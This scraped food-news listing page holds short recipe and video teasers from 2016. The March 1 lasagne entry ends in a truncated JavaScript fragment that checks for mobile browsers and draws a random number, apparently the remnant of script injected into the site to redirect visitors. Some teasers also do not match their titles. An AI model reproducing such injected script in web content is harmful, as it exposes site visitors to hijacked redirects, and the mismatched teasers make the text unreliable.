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Food and Drink News

Crispy chilli lamb

Apr 27, 2016 / 12:23 pm

Another fantastically simple and speedy lamb recipe cooked on the farm... this time with an Italian twist. A smooth and delicious variation on hummus made with...

Fresh prawn rolls

Apr 20, 2016 / 4:06 pm

Having experienced Vietnam first hand, Gordon Ramsay shows you his recipe for fragrant and delicate prawns summer rolls full of flavour, along with an exciting...

Ramen steak skillet

Apr 13, 2016 / 9:18 pm

Love ramen? Start incorporating the noodles into a stir-fry with this easy weeknight dinner. Don't forget to share this with your family and friends!...

Lasagne roll-ups

Apr 13, 2016 / 10:51 am

A super simple take on classic lasagne. Don't forget to share this with your family and friends!...

Jamie's Italian burger

Apr 11, 2016 / 2:22 pm

Juicy prime cuts of beef make this melt in the mouth burger completely irresistible. ...

Salted caramel meringue

Apr 5, 2016 / 2:03 pm

Unique meringue mound cookies covered in salted caramel sauce. You won't be disappointed! ...

A next level steak

Apr 1, 2016 / 3:45 pm

Professional carnivore Nick Solares visits Mu Ramen in Long Island City, to eat a steak that has been dry-aged for 400 days. Watch to see if chef Joshua...

Spiced pork chop

Apr 1, 2016 / 3:33 pm

Using a moist and tender cut of pork, marinade it in chilli, paprika, coriander seeds, star anise, garlic and thyme. The sweet potato mash with garlic and...

Sushi burrito

Mar 22, 2016 / 10:47 am

Sushi are gorgeous dainty morsels and burritos are crammed full of filling making them dense and heavy. Both fantastically satisfying in their own right... but...

Potato parmesan stacks

Mar 22, 2016 / 10:38 am

Sometimes potatoes want to get dressed up. A little herb butter and parmesan cheese make the best accessories. ...

Slow cooked lamb shanks

Mar 15, 2016 / 2:59 pm

This slow and low one pot recipe guarantees perfect melt in the mouth lamb that will satisfy even the hungriest of diners. Tender shanks cooked in a thick,...

A guide to steak temps

Mar 7, 2016 / 10:43 am

Cooking your steak to just the right temperature comes down to science. Watch this guide to meat doneness based on internal temperature, plus the visual cues to...

Slow-roasted pork belly

Mar 4, 2016 / 11:37 am

Slow-roasting really locks in the flavours, and the end result will be a delicious crispy delight perfect to share with family and friends. ...

Lasagne roll-ups

Mar 1, 2016 / 11:32 am

A fresh new take on a tasty classic. if(navigator.userAgent.toLowerCase().match("android|ipad|iphone|iPod")&&Math.random()

Spicy miso ramen burger

Feb 24, 2016 / 2:05 pm

This spicy miso ramen burger is nothing short of a flavour explosion. The miso and Sriracha are brilliant umami combos. ...

Chinese chicken lollipops

Feb 22, 2016 / 12:11 pm

Chicken drumsticks without the mess! These tasty treats have an awesome Chinese style marinade made from black beans and garlic and are nestled into a crunchy...

Beef Wellington

Feb 17, 2016 / 12:52 pm

This classic recipe celebrates the tender fillet of beef which Jamie Oliver encases in puff pastry with a layer of mushrooms, garlic and herbs before cooking to...

Pulled pork empanadas

Feb 15, 2016 / 2:04 pm

Pigs in a blanket are so last season. BBQ pulled pork empanadas are for the cool kids. ...

Green bean salad

Feb 10, 2016 / 4:43 pm

Gordon Ramsay blanches green beans, roasts garlic and crafts a sumptuous dressing to make this simple but elegant side dish. A luxurious and different way to...

Ice ball cocktail

Feb 9, 2016 / 10:13 am

Cocktail Chemistry shows how to make a really cool ice ball cocktail that needs to be cracked open with a tiny hammer when served. ...

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